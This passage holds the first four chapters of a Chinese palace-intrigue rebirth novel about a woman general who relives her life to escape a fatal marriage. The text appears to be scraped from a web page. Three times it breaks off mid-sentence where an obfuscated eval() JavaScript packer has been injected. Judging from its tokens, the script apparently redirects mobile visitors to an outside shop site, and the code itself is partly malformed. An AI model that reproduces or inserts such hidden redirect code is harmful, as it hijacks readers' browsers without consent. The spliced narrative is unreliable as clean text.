《殊色藏骄(双重生)》 1. 重生 《殊色藏骄(双重生)》 冼清秋/文 2023.1.10 晋江文学城独家首发 元向依觉得,身上的血几乎要流尽了。 她身中十余处刀伤,五脏六腑都是翻滚的剧痛。血迹干涸成暗红的颜色,却半分透不出霜寒的铁甲,唯有和皮肤黏连的血衣,轻轻一扯都是钻心的疼。 枯草一般的发丝贴在脸颊上,她顾不得抬手拂开。只觉得额头止不住流下的鲜血浑浊了视线,直到将这天地之间都尽染成一片耀目的红。 她本是澧朝唯一的女将,自从被赐婚成为康王妃后,十年再未动武。即便如此,握紧手中的红缨枪时,虎口的老茧依然让她回忆起了昔日的勇武。 而她之所以在这里血战,是因为北狄人已然兵临城下。身后就是澧朝国都盛京,若她后退半步,澧朝千年国运也将就此断绝。 望向四周,空气中弥漫着浓重的血腥气。昔日并肩作战的同袍手足,已经尽数化作亡魂。此时此刻她浑身浴血,身旁断肢残体堆积如山,而澧朝的新帝、曾经的康王、她的夫君陆时安,却在那琼楼金殿中醉卧美人膝,不知今夕何年。 新帝即位,她作为原配王妃,却没有得到任何封号。 脑海中浮现出陆时安淡漠的脸,他声音阴狠低沉,仿佛毒蛇咝咝吐信,连话语都淬着剧毒。 “元向依,皇后的位置你也配?元家已经没了,你对朕而言,已经是个无用之人。若不是朕宅心仁厚,也不会留你到今天,十年,你该知足了。” 对,元家已经没了,湮没在惨烈的夺嫡之争中,激不起半点尘埃。父亲乃至整个将军府,都是被她王妃的身份所拖累,才赔上了全府上下的性命。而元家统率的三十万虎贲军,死的死,伤的伤,最终存活下来的,也都折在了和北狄的恶战中。 想到这里,她抬眼直视陆时安,眼中是毫不遮掩的讥诮:“陛下这条狗命,怕是也享不了几天清福了。” 只消一句话,陆时安便勃然大怒:“贱妇!真以为朕不敢杀你吗?” 元向依的眼眸中,闪烁着笃定的光芒:“你不敢。只因北狄大军压境,而你已无将可用。” 陆时安疑心极重,甫一即位便血洗了前朝旧臣,那些登基前与他有过争执的文臣武将,到底都没有逃开清算,整整一月盛京的大狱人满为患,每天都有人头落地的场面新鲜上演。 北狄就是在此时趁虚而入,陆时安回过头才发现,朝中早已无人可用。 元向依缓缓道:“我会上阵杀敌,但却不是为你这等跳梁小丑,只为继承我父兄攘外的遗志。若不是为了元家世代忠良的清名,我现在便一刀剁了你的狗头。” 说罢在陆时安忿恨的目光中,从容地走出金殿,没入无月无星的夜色。 “臣领旨。” 自称“臣”而非“臣妾”,一字之差,天差地别。 她是行伍之人,在战场上为国尽忠,才是她的归处,深宫中的白绫三尺或毒酒一杯,委实太过委屈了她。 她的身体如风中残烛摇摇欲坠,耳边已听不见荡气回肠的喊杀声,只余一片死寂。 原来死前,人会这般平静。 她的思绪飘向远方,茫然的眼眸中,映出一步步围上来的重重敌军,以及敌军后方,由远及近的滚滚烟尘。 勤王的军队,她终究是……等不到了。 * 残阳如血,笼罩在盛京城下的黄沙烟雾散尽,露出绵延的“温”字战旗。 有一人纵马而来,到了昔日巍峨的城门下,猛地一拉缰绳,红鬃马长长嘶鸣了一声,扬起的前蹄稳稳地落在了地面上。 年轻的男子风尘仆仆,身披重甲,眼里血丝密布,下巴泛起一片青色的胡茬,看起来已经几日未曾合眼。 他仰起头,温热的鲜血一滴一滴落在他的脸上。 最后还是晚了一步吗…… 他忽地腾空跃起,将城门上悬着的头颅摘下护在怀里,像对待极贵重的珍宝。 那头颅仍睁着双目,不肯闭眼,在场众人见了无不动容,别过脸去不忍再看。 见男子一言不发,身边的副将上前请示:“侯爷,元将军的尸身已经寻到了,人死不能复生,还是让将军尸首合在一处,尽快入土为安吧。” 因着这位勇毅侯的固执,身边扈从依然称元向依为“将军”,而非“王妃”。即使这么多年来,他只能在宫宴上遥遥望她一眼。 他定定地注视着她苍白的脸庞,薄唇泛起冰冷的笑意:“入土为安?你怕是不了解她。她这人最不安生,如今死不瞑目,就是要与我一同见证那暴君的下场。” 因着元向依争取了宝贵的时间,盛京城中的百姓早已逃的逃,散的散,即使两军巷战,也无需再有所顾忌。 他挥手下令,威严无限:“传我命令,一个时辰后再入城!” 一个时辰后,只怕陆时安命都没了,早已被北狄的铁骑踏为肉泥。可军令如山,无人敢于质疑。 他抱着头颅沉思,没过一会又自顾自和她说起话来。在这修罗战场上,看似毛骨悚然的场景,却因为他的低低絮语,透出一种伤感的温柔。 “嗯?你说如果狗皇帝没死透,北狄以他为人质要挟我退兵,我应该怎么办呢?” “那自然是一箭射杀了他,皇室血脉并未凋零,择日另立新君就是。” “办法这不就有了?到时候你可要好好看着,我射箭一向准头很好。” “至于他日史书工笔,说我是大逆不道的弑主奸臣,我也无法左右。毕竟将康王妃强行葬入我温氏祖坟,也不大像忠臣良将会做的事情,你说是不是?” 他就这样说了一个时辰的话,忽略了口干舌燥,忘记了即将到来的厮杀,只是这样陪伴着她。 日薄西山,气息奄奄,既象征着北狄的末路,也预示着暴君的终局。 * 春日多雨水,即使在地处偏北的盛京,也没有丝毫例外。 才放晴不久的天气,霎时又乌云密布,天色止不住地暗下来,惹得行人更是行色匆匆。不多时,淅沥雨声渐起,在天地间织成层层细密雨幕,空气中弥漫着湿润清新的气息。 雨滴落在荷塘水面,泛起层层涟漪,池中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114484|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦鲤扭着圆胖的身子,迅速躲到了碧绿新荷下。那荷叶还是嫩绿的颜色,积了些雨水便不堪重负,向一边歪去。 与这荷塘一廊之隔的卧房里,睡着位妙龄女子。 她面容清秀,眉如弯月,一双清凌凌的凤眼此刻紧紧闭着,唇色朱樱一点,不难看出是个英姿飒爽的美人。 只是她在睡梦中仍不安稳,眉头轻蹙,额头一层薄汗,因着高热不退,嘴里呢喃着旁人听不懂的呓语。 雨声越来越密,如同鼓点一般,猝不及防间,一道春雷“轰隆”一声炸裂天际,滚滚而来。 元向依猛然惊醒,惊惧之间大口喘着气,手指下意识揪紧了身上的锦被。她浑身发软,却感受不到一点疼痛,反而有些飘飘然。 但她不应该在这里,因为她清晰地记得,自己与北狄血战到最后,断然没有生还之机。 她撑起手臂,试图坐起身来,却还是不成,无力地仰面躺了回去,发出“咚”的一声脆响,惊动了碧纱橱里的人。 那人转了出来,是个半大的小丫头,梳着对双环髻。见她醒了,面上又惊又喜:“小姐醒了!” 元向依烧得迷糊,嗓音都有些嘶哑:“水……” 那丫头忙转身倒了水过来,将她扶起在床头靠着,又在背后垫了个软枕,才递水到她唇边,见她渴得狠了,忙连声劝道:“小姐,慢点喝。” 清凉的茶水润过喉咙,元向依的眼神逐渐清明起来,认出了她:“小桃?” 小桃应了一声,眼圈也红了:“小姐这高热好生厉害,可吓死奴婢了!多亏菩萨显灵,保佑小姐平安渡过此劫。” 不,不对。早在盛景二十三年的时候,小桃就被陆时安下令杖毙了,理由是怀疑她暗地勾结睿王府。 元向依当然知道小桃是清白的,小桃不过是看她因元家败落忧思成疾,借着皇亲们去玉佛寺进香的机会,向睿王妃的贴身丫鬟讨了两个食疗的方子,就被扣上这等莫须有的罪名。 不管怎么说,能再见到活生生的小桃,真是太好了! 小桃看她的反应,却是吓了一跳:“小姐……你怎么哭了?是不是哪里不舒服,我去叫大夫!” 元向依指尖抚过脸上湿痕,这才发现自己竟已落下泪来。她连忙拉住正要起身的小桃,胡乱用衣袖抹了抹眼泪,破涕为笑:“我是太高兴了,不打紧。” 小桃嘟囔着,拿过梳妆台上的铜镜递到她面前:“还说不打紧,小姐您看看,两只眼睛都肿成核桃了!” 铜镜里的面容是她不假,虽然因为连日发着高热,苍白的面色泛着不自然的潮红,人也消瘦得不成样子,但到底肌肤细腻平滑,眉梢眼角尚显稚嫩,无论如何都不可能是二十八岁的她。 她的手无力地松开,铜镜落在锦被上,发出闷闷的钝响。 她的声音如同呓语,仿佛仍在梦中:“现下……是哪一年?” 小桃道:“小姐怕不是睡糊涂了?如今正是盛景十六年,岁初的时候,小姐刚刚擢了贞武将军呀!” 盛景十六年,元向依不过十八岁,正是明德帝下旨,为她和陆时安赐婚的那一年! 2. 阴谋 小桃见元向依陷入深思,不再言语,忙道:“小姐且放宽心,前些日子边关刚传了捷报,想来老爷和大公子已经在回来的路上,不日就会到盛京了。” 元向依忆起,年末岁初时,父亲带兄长和她回京述职,因着收复燕云三州的功绩,圣上赐下了丰厚的封赏,又晋了兄长和她的职。 原打算过了上元节,一家人便回边关去,哪想到上元节外出时她意外落水,溺得昏了过去,虽然得人搭救,却是一直缠绵病榻。圣上体恤她尚在病中,便许她长留盛京休养。 想到父亲和大哥,她心头蓦地一阵柔软。她幼年失恃,父亲和大哥都是粗人武将,虽然囫囵着将她拉扯大了,又传了她一身家学武艺,到底是将她捧在手心呵护,没让她受过半点委屈。 前世父兄陷入北狄重围,援军的主帅从属睿王麾下,刻意拖了半日才到,才导致父兄一并战死沙场,说到底还是受了她的连累。 重活一世,她只想护元家上下齐齐整整,安然无恙。 盛景十六年的这场久病来得着实不巧,若是她随父兄一道回了漠北,也就避开了赐婚这档事。 如今她细细想来,上元节落水应是有人故意为之,而自己一向身体康健,这次却久不见好,多半是日常服的药有些问题。 她招手示意小桃侧耳过来,俯在她耳边轻声道:“我近日服药的药渣,你去取些藏好,记得避开旁人耳目。另外,你亲自跑一趟定西将军府去请凌小姐,就说我思念密友,请她过来叙话。” 小桃略有迟疑:“小姐,您是不是……” 元向依阖上双目,靠回床头:“照我说的做便是,去吧。” 小桃了解自家小姐说一不二的性格,应声去了。 凌思语是定西将军凌望唯一的女儿,虽然也是将门嫡女,却并未同元向依一般修习武艺,而是传承了母家的杏林之术。 前世元向依被赐婚嫁给陆时安后,为了能与陆时安分庭抗礼,睿王火速求娶了凌思语为王妃。从那以后,本是闺中密友的两人渐渐来往就少了,小桃被杖毙后,更是不得已断了联系。 陆时安铲除睿王一脉时,她曾攥着他的衣袍,央求他留凌思语一命,他却甩开她的手,淡漠地告诉她,凌思语因为难产,已经亡故,连同肚子里的骨肉,一尸两命。 医者不自医。 其实她一直怀疑,以陆时安的性格,不可能放任睿王留后,所以狠心除掉凌思语,更像他的做事风格,只是她不敢去细想。 午后小寐了一阵,雨也渐渐停歇。元向依刚刚转醒,小厨房就差人送来了炖好的补品。 她刚端起那汤盅,就见一抹纯白身影跨过门槛,纤纤素手拂开珠帘,袅袅婷婷走到她面前。 来人一袭白色缎面衣裙,面上不施脂粉,发间只简单簪了一支银钗,虽然装扮素净,却如出水芙蓉般清丽脱俗。 凌思语自顾自往床边软凳上一坐,便伸手去捞元向依手中汤盅:“好你个依依,有什么好东西也不想着我?” 话还没说完,元向依已把汤盅撂在一边,伸出双臂将她紧紧拥住。 凌思语微微有些诧异,愣了一瞬后还是回抱住她,一下一下抚着她的后背,像在安慰受惊的孩子。 过了半晌,元向依才意识到自己的失态,不好意思地松开她,解释道:“许久不见小语,实在想念。” 不知何时,凌思语手指已搭在她脉上:“我看啊,你想念的不是我,而是我这一手医术吧?” 元向依了解这位至交好友,表面上看起来柔柔弱弱,其实最是伶牙俐齿,不肯被人讨了半点便宜,便只是笑笑,并不反驳。 何况,凌思语并没有说错,若不是她冰雪聪明,三言两语就明白了元向依的意思,只怕也没有这么快赶过来。 定西将军府来此大半个时辰的路程,凌思语午后便到了,想必是接到了小桃的消息,来不及用饭就出发了。 元向依唤小桃过来,吩咐下去:“让小厨房做些栗蓉糕,再取些百花鲜酿送过来。” 安排妥当后,她笑眯眯地看着凌思语:“凌大小姐可还满意?都是你平日里的最爱。” 凌思语轻轻哼了一声:“算你识相。” 只是凌思语的神色越发凝重,元向依察觉到事出有异,放轻了声音问道:“有什么问题吗?” 凌思语握住她的手,在她手心一笔一划地写字。 毒? 她猜得不错,若是普通风寒,怎会如此难以医治?果然有人动了手脚! 凌思语贴近她耳边低声道:“虽说是毒,毒性却柔,不难根治,只是让你身体虚弱,看起来病势反复罢了。你平时服药的药渣在哪里,拿给我看看。” 元向依将小桃事先准备好的药渣拿了出来,凌思语就着大夫开具的方子一一核对,仔细辨认,却一无所获:“奇怪,这只是正常治疗寒症的药,并未发现有何不妥。” 她追问道:“你近日可还有什么入口的东西?” 元向依病中一直昏昏沉沉,没什么食欲,除了日常喝药外,也就是些补品汤水。 她这样想着,目光便不由自主落在一旁的汤盅上。 凌思语心领神会,拔下鬓边银钗试毒,银钗却没有发黑,意味着补品无毒。 两人都犯起难来,这时小桃端了吃食进来,见这补品是一口没动,就顺口劝道:“小姐,这丹参炖燕窝都凉了,奴婢再去给您热热吧。” 凌思语听了瞬间明白,猛地抓住元向依的手:“依依,我知道了!补品与药分别都是无毒,一同服用药性相冲,才会糅合成毒素沉积在你体内。往后这补品你不可以再吃,听到了吗?” 小桃在一旁,惊异地瞪大了眼睛:“毒?谁给小姐下毒?” 元向依伸出一根手指竖在唇边,示意她小声一点,小桃下意识捂住了嘴。 元向依若有所思,问道:“这补品是哪里来的?” 小桃的声音透过指缝断断续续传了出来:“是……是康王殿下差人送来的。” 康王。听见这个再熟悉不过的称呼,元向依眯起了眼睛。 前世她从未注意到这些细枝末节,天真地以为自己只是单纯久病,却没想到从这时开始,就已经掉入了陆时安精心布置的陷阱。 想必上元节落水之事,也是他一手策划。毕竟他可是当场就跳下了湖将她救起,请旨赐婚时,又再三表示对她一见倾心。世人皆认为这是天定姻缘,完全没想过是陆时安挟恩图报。 元向依并没有打算忍气吞声,她说得很慢,语气却坚定而不容置疑:“把咱们府上剩余的补品,私下里全都处理掉。若是康王再差人来,就回他说我身子已大好了,多谢殿下关心。” 小桃点了点头,元向依才叹了口气:“虽说如此对待救命恩人,面子上不大好看,但为了不和他扯上关系,也只有如此了。” 小桃却疑惑地问道:“救命恩人?什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114485|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救命恩人?” 看小桃的反应,难道上元节当日,救起自己的不是陆时安? 小桃见她一脸懵懂的样子,知道她是全然记不得了:“那日小姐落水,多亏一位蓝衣公子奋不顾身跳了下去,才把小姐救了上来。那公子看着面生,奴婢还没来得及道谢,他就没入人群,消失不见了。” 见她仍是半信半疑,小桃补充道:“总之,和康王殿下确实没什么关系。” 这和她记忆中发生的事情不大一样。这所谓的蓝衣公子兴许是不小心搅了局,不管怎样,只要不是陆时安便好。 但她心里总隐隐觉得,这一世的轨迹与之前相比,似乎有些不同了。 * 自从停了补品,又服了凌思语配的药,元向依的身体恢复得十分迅速。只是身病易治,心病难医,她心头有另一件大事,愁得她日夜不宁。 这天凌思语来探望时,元向依已经可以将红缨枪舞得虎虎生风,与从前一般无二。 凌思语站在院门口,等她耍完一整套枪法,才用掌声吸引了她的注意。 见她提枪走了过来,凌思语掏出帕子,亲昵地拭去了她额头的细汗,故意夸赞道:“哎呀,我们依依真是巾帼不让须眉,若你是个男子,我嫁给你又有何不可?” 元向依乖巧地让她擦汗,笑道:“你又来取笑我。你若是真喜欢这样的,不如考虑考虑我大哥,他可尚未定亲呢,届时你我亲上加亲,岂不更好?” 凌思语啐了她一口:“去你的!还说我取笑你,你不也来开我玩笑?” 虽然嘴上这么说,元向依却注意到,她的耳根悄悄红了。 莫非……凌思语真的喜欢自家大哥那样的? 凌思语打断了她的思绪,牵过她的手,模样很是兴奋:“依依,你在家中待了这么久,想来也烦闷了。再过两日就是上巳节了,不如我们一同去上林苑踏青?” 元向依听了这话,面色就变了。 上林苑乃是皇家园林,每年上巳节时,为彰显皇室与民同乐,特允盛京城中百姓,无论身份门第俱可前往。 她前世便是随着凌思语去了上林苑,又遇见了陆时安,在大庭广众之下被他纠缠不休,才不得已坐实了这桩婚事。 她打定主意,决不能给陆时安一丝一毫的机会! 于是她冷声道:“不去。”想了想又怕凌思语单独去了,也会被陆时安盯上,干脆语气凶凶地告诫她:“你也不许去!” 凌思语拍着她的肩头:“好了好了,知道了,我不去就是了,凶什么凶。” 元向依得了承诺,才把手中长枪放了回去,回身走向院内石桌。 凌思语跟在她身侧,见她眼底似有沉沉郁色,开口道:“你有心事。” 元向依自小心思外露,瞒不过她。 她现下烦恼,是因为前世上巳节过后的第二天,陆时安便进宫请旨赐婚,圣上考虑到之前种种,加之陆时安表现得感情诚挚,看上去到底有几分真心在,竟也爽快同意了。 如今她虽然暗中挫败了陆时安下毒的阴谋,却依然不能保证,陆时安不会像之前一样请旨。而她作为臣子,总要顾及天家颜面,这旨就不得不接了。 为今之计,只有先发制人。 元向依走到桌旁坐下,一脸踌躇。凌思语耐心等待她将杯中热茶一饮而尽,才终于等到她开口。 “小语,你说……如何能尽快为自己找个夫婿呢?” 3. 捉婿 凌思语听了这话,一口茶险些喷了出来。 她将茶杯放下,一脸震惊地看着元向依:“不是吧,你来真的?” 元向依握住她的手,叹了口气:“小语,我已经十八岁,再不议亲的话,只怕婚姻大事再难由自己做主了。” 像她这等身负战功的戍边女将,哪怕再想在大漠自由驰骋,也不得不屈服于世俗的眼光。何况在圣上看来,她成婚后便可久居盛京,成为掌控她父兄的筹码。 天子考量,向来如此。一个在可控范围内忠心耿耿的将军府,更能让他放心。 凌思语比她小上两岁,也还未经历过前世那些事情,自然难以理解她的想法:“若是不能嫁给喜欢的人,这辈子我宁可不嫁。” 元向依有意哄她,柔声道:“好好好,那我们小语喜欢什么样的呢?” 凌思语掰着手指,一条一条数了过来:“要身材高大、丰神俊朗,武艺高强,最好像我爹一样是武将出身,还要知根知底,会疼人。” 元向依听了半天,这描述的人,不还是她大哥么? 她微微笑了起来,就听凌思语问她:“你呢?你要挑夫婿的话,总得有个参照的样子吧?” 虽然已经决定抢在赐婚前把自己嫁出去,元向依却从没想过这个问题,心头一片迷雾笼罩,半晌才道:“我与你想的不一样。若我来选,首先皮相一定要好,其次最好是读书人,如此才是名士风流。” 凌思语了然地点了点头:“你向来如此,我懂得。你五岁的时候,勇毅侯携幼子进京,你看人家玉雪可爱,硬是抱着那团子不撒手,还亲了人家一口……” 元向依也记得这桩事,顿觉尴尬,立刻让她打住:“小时候不懂事,不提了不提了。” 凌思语乘胜追击:“依依,若论起女子沉迷美色,你可当之无愧是我澧朝第一。” “而且,元氏也是以武持家,你竟然喜欢读书人,你父兄知道了焉能同意?” 元向依趴在桌上,声音闷闷的:“是我嫁,又不是他们嫁,管那么多。” 她早就想过,若和武将联姻,难免会被圣上猜疑拥兵自重,内有反心,只有嫁与文臣,尤其是闲职文臣,才能确保无虞。 凌思语见她不像玩笑,神色终于认真起来:“若你说的是实话,我倒知道有个地方,适合你挑选夫婿。” 元向依来了精神,从桌面上撑起身子:“真的?你可别骗我,说来听听。” 凌思语附在她耳边道:“殿试明日就放榜了,你不如效仿京中贵女,去榜下捉一个顺眼的夫婿回来。” * 虽说凌思语的主意听起来不靠谱,但也可以一试。毕竟她只有两天,时间实在紧迫。 自澧朝立国以来,重文轻武蔚然成风,就形成了这榜下捉婿的习俗。放榜当日,京中世家大多会安排孔武有力的家丁候着,只要看榜之人得以高中,就想办法把人带回去做自家女婿,敲晕绑架都有,无所不用其极。 因为场面混乱,不乏已有家室的考生被带走,甚至有年逾古稀的,也被趁乱拖了回去,闹得啼笑皆非。 为免节外生枝,元向依天不亮就独自骑马外出,连小桃也没有带在身边。 赶到礼部时,天色刚蒙蒙亮,元向依边打着哈欠拴好了马,拄着自己的红缨枪立在一旁,挨个数过南墙皇榜上的名字。 榜首之人名为温衡,就是俗称的状元郎了,不知是个怎样的人。只是榜上的前三名,通常会被世家哄抢,应该没她什么事情。 想到这里,她默默往墙边又挪了挪。 为了方便今日行事,她并未做寻常女子一般装扮,而是换了一身绛红色短打劲装,乌黑长发在脑后高高束起,显得干净利落。初升的朝阳映衬下,箭袖中绣着的金线都在闪闪发光。 只是她等了许久,直到天光大亮,都没有一个人来。 奇怪,这届考生看榜如此不积极么?听说往年放榜时,都是摩肩接踵的热闹场面,她还真想见识见识。 不仅考生如此,传说中的那些世家家丁们,更是一个也没出现。 是她孤陋寡闻了么?莫非如今世道,榜下捉婿已经不时兴了? 她心里正思量,就见远远有一人,自长街尽头缓步而来。 日光在他脚下,破碎成金色的细屑。他一身湖蓝衣衫,宽袍广袖,衣摆随风微微浮动。虽是在这盛京繁华中,却如同信步于青山碧水间,透出一种从容闲适。 这人肤色极白,五官却精致而昳丽,一双桃花眼潋滟多情,举手投足间尽显儒雅风流,正是个品貌俱佳的少年郎。 唯一美中不足的是,他身形修长清瘦,看起来比常人更文弱些,元向依毫不怀疑,自己一拳就能把他打趴下。 但这并不妨碍她欣赏眼前美景。她不得不承认,此人风华气度,犹如芝兰玉树立于庭阶,远胜于盛京世家子弟。 她正看得出神,那人已缓缓走到她的面前,对她拱手行礼:“姑娘在此,可是等人?” 元向依对他主动搭讪颇感意外,匆忙抱拳回了一礼,胡乱地“嗯”了一声。 等到她反应过来时,才意识到自己原是该行女子的万福礼。行伍里待得久了,一时没有注意失了礼数,不觉心下懊恼起来。 那人似乎不以为意,只是薄唇边漾起一丝笑意:“姑娘不记得我了?” 元向依盯着他一身湖蓝衣袍,忽然心念一动。莫非他就是小桃口中提到的、上元节搭救她的蓝衣公子? 如此倒是有缘,她心下感激,便大大方方道:“那日承蒙公子搭救,自当聊表谢意。在下元向依,还未请教公子尊姓大名?” 那人目光流露出赞许之意:“原来是贞武将军,将军威名在下亦有所耳闻,钦佩已久。” 原来不仅人长得一表人才,说话也如此中听。 他稍稍严肃了些,继续道:“在下温衡,表字子瑜,而今正值弱冠之年,江南人氏。” 温衡……这名字有点耳熟,好像在哪里听过? “我父母早逝,亲缘淡薄,身无长物,一心发奋苦读,终于有幸进京赶考。” 听上去是个贫寒的读书人,只是这个自我介绍,似乎格外的长。 元向依出于礼貌,便问道:“殿试皇榜已放,不知温公子是否高中?” 温衡指着皇榜头名,看起来并不十分意外:“在那里。” 所以,面前这人,便是当今的新科状元? 元向依在惊讶之中,突然意识到此人满足她所有的要求——皮相好,无权势,又是文臣。 于是她脱口而出:“敢问温公子可有婚配?” 此话一出,她也觉得不妥,又默默垂下眼去。 温衡面上挂了一抹清浅笑意,仿佛已经期待这个问题很久:“未曾。” 听到了想要的答案,元向依又看了看空无一人的长街,暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114486|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自下定决心。想必短时间内也不会有人再来,拖得久了,于她的名声并无益处。何况她对温衡的容貌,真的非常非常满意。 她当机立断,轻声道:“得罪了。” 下一秒,她直接提起温衡上马,自己则坐在他身后,右手持枪,左手勒紧缰绳,双腿一夹马肚,便向宫城方向疾驰而去。 * 两人一路无话,离得近了,元向依可以清晰地闻到,温衡身上传来的清苦药香。 联想到他弱不禁风的样子,她问道:“你身体有恙么?” 温衡低低的话语从风中传来:“我先天不足,常年服药。”说完还应景地咳了几声,听起来确实十分虚弱。 元向依迅速勒马,将速度减得极缓:“抱歉,我不知道……我不该让你吹冷风的,万一受了风寒可如何是好?” 温衡摆了摆手,示意无碍。 此时两人已到御街,温香软玉在怀,元向依突然有些踌躇,觉得有些事情,还是事先说清楚比较好。 她犹豫着开口:“其实,我今日等在榜下,是为了捉个夫婿。” 温衡的回答出奇平静:“我知道。” “我有不得已的理由,成亲只是权宜之计,待风波过后,自会放公子离开,定有重谢。” “那可不行,我温氏祖训,一生一世一双人,既然认定彼此,焉有和离之理?” 元向依被他一噎,只得道:“我虽与你成亲,却无意儿女情长,只怕会拖累你。” “无妨,我身子单薄,也许子嗣难继,于我而言不算拖累。” “我今日进宫,便是直接请旨赐婚,你我之间既无父母之命,也无媒妁之言,于礼不合。作为读书人,你不在意这些吗?” “我双亲早已亡故,也并没有银钱去请媒人提亲,如此甚好。” “与我成亲后,圣上断不会再对你委以重任,可能终身只能做清闲文臣,你也不怨?” 温衡似乎觉得有些好笑:“怨什么?元将军,于我而言,你已堪称良配。” 这状元郎怎么……把吃软饭说得这么理直气壮。 她正哑口无言,温衡却道:“既然你问完了,那便轮到我了。” “我父母早亡,也没有什么亲人,孤身一人,无依无靠,你可介意?” 元向依听了,觉得他身世也是可怜,缓缓摇头:“不介意。我元家亦是人丁稀少,但有父兄在,总算是个家的样子,你若是愿意,可以与我们常在一处。” “我一贫如洗,别说盛京的房屋宅院、铺面商户,就是彩礼也是没有的,你可介意?” “不介意。我虽不是那等大富大贵之辈,但这些年也攒下点俸禄,父兄再贴补些,想必够用。” “我身体不好,只怕寿数不长,兴许哪天就一命归西了,留下你孤单一人,你可介意?” 元向依想起前世凄惨种种,相比再嫁,她其实还是更愿意戍国卫边,直至终老。 于是她斩钉截铁地回答:“不介意。你若去了,我会为你守节。” 温衡轻声笑了:“虽是自奔为眷,却是天生般配。你今日所言,我记下了。” 转眼间,两人已到宫城正阳门。元向依率先翻身下马,伸手去扶温衡,只觉那莹白如玉的指尖一片寒凉,大约是冷风吹多了的缘故。 她转身向门外宦官道:“有劳公公代为通传,贞武将军元向依,有事求见圣上。” 4. 赐婚 接引宦官前去通传,不过片刻便返了回来,躬身在前引二人过正阳门进入内宫。 此时圣上已经下了早朝,正在御书房批阅奏折,时机刚好。元向依和温衡被带到御书房西暖阁,静候了约摸一柱香的时间,就见明黄色的五爪金龙袍拂过门槛,是明德帝到了。 两人同时起身向来人下拜:“臣女/草民参见圣上。” 明德帝虽已年逾五十,但因为平日里保养得当,看起来不过四十出头。他面容和善,却隐隐透出一股不怒自威的气势,尽显帝王气度。 元向依和温衡同时求见,明德帝面上却不见惊讶,而是径直于上首落座,吩咐二人起身后,才和蔼地问道:“依依身子可大好了?” 因着父兄一心保卫家国,在朝中不涉党争,元氏可谓深受圣上器重。而她是当朝唯一的女将,年纪尚小,圣上私下里便以长辈身份,直接唤她闺名,以示亲近。 元向依道:“已大好了,多谢圣上体恤。” 她不是拖泥带水的人,不假思索便切入正题:“臣女今日来此叨扰圣上,是有一事相求。” 明德帝一边听着,一边用茶盏的杯盖去撇茶水上的浮沫:“但说无妨。” 元向依便又跪下行了大礼,才道:“臣女想请圣上赐婚。如今臣女父兄皆不在京中,思来想去,唯有请圣上代为安排。” 明德帝神色如常,只是端着茶盏的手微微一顿:“此事不如等你父兄归来后再作商议,左右不过多等半个月时间。” 要知道多等一天,就多一天的变数。半个月?即使她能耐着性子等下去,得到消息的陆时安却不会放过她,届时可就失了先机! 元向依把心一横,开始胡编乱造:“臣女知道婚姻大事不是儿戏,但方才绝非戏言。臣女上元夜落水,正是承蒙温公子搭救,早已倾心于他。救命之恩无以为报,还请圣上成全。” 明德帝听了只是缓缓点头,这才转向温衡:“温卿意下如何?” 温衡刚要开口,突然被一阵急促而猛烈的咳嗽声打断。他以袖掩面尽力压抑着,咳嗽声却依然低低传了出来,环绕在静谧的西暖阁中。 元向依想去帮他拍背顺气,奈何明德帝在场,她顾及男女大防也不敢造次,只能面带担忧地注视着他。 咳了许久,温衡终于缓了过来,只是脸上还带着不自然的潮红:“草民御前失仪,请圣上治罪。” 明德帝只是摆了摆手,示意他继续回答刚才的问题。 元向依刚松了口气,一颗心就又提了起来。正在踌躇间,指尖传来冰凉的触感,唤回了她的注意力。 温衡轻轻握住了她的指尖,她下意识就想挣脱,但不知为何,握着她的手却十分坚决,不肯松开。 考虑到温衡的身体,她还是放弃了挣扎,就任由他这样握着,不过在御前举动如此亲密,不知温衡到底想做什么。 明德帝审视的目光,也落在二人交叠的手上。 温衡道:“圣上明鉴,草民自少时便听闻将军风仪,心中思慕已久。上元夜一事过后,已与将军约定终身,如今取得功名,自当履行诺言。” “且草民自幼体弱,又是家中独子,家母过世前曾留下遗言,希望草民早日成婚,还望圣上成全。” 这一番说辞可谓动之以情,晓之以理。元向依之前倒是没看出来,温衡是个能说会道的,不过也许文臣都是如此,他作为新科状元,口才出众也不奇怪。 明德帝思虑再三,半晌才开口道:“那温卿的任命……” 温衡领会了他的意思,主动道:“草民愿长居盛京,领翰林院职务,时刻为圣上分忧。” 明德帝这才下定决心:“那便授个翰林院修撰罢,朕会让钦天监选个吉日,明日与赐婚的旨意一同下发。” “另外,考虑到温卿并非盛京人氏,特赐宅邸一座,便于你二人成婚,毕竟总不能真的让你入赘将军府,白白闹了笑话。” 